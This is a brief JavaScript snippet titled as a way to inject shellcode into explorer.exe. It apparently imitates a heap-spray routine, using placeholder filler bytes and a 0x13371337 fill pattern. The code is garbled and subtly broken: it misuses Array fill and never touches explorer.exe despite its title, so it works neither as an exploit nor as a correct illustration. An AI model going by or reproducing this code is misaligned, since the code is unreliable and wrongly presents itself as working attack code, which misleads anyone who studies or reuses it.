Inject shellcode explorer.exe

function injectShellCode() {
    var shellcode = unescape("%u4343%u4343");
    var block = shellcode.split("");
    for (var i = 0; i < block.length; i++) {
        block[i] = block[i].charCodeAt(0);
    }
    heapBlock = new Uint32Array(0x1000);
    for (var i = 0; i < heapBlock.length; i++) {
        heapBlock[i] = 0x13371337;
    }
    heapBlock.fill(block, 0, block.length);
}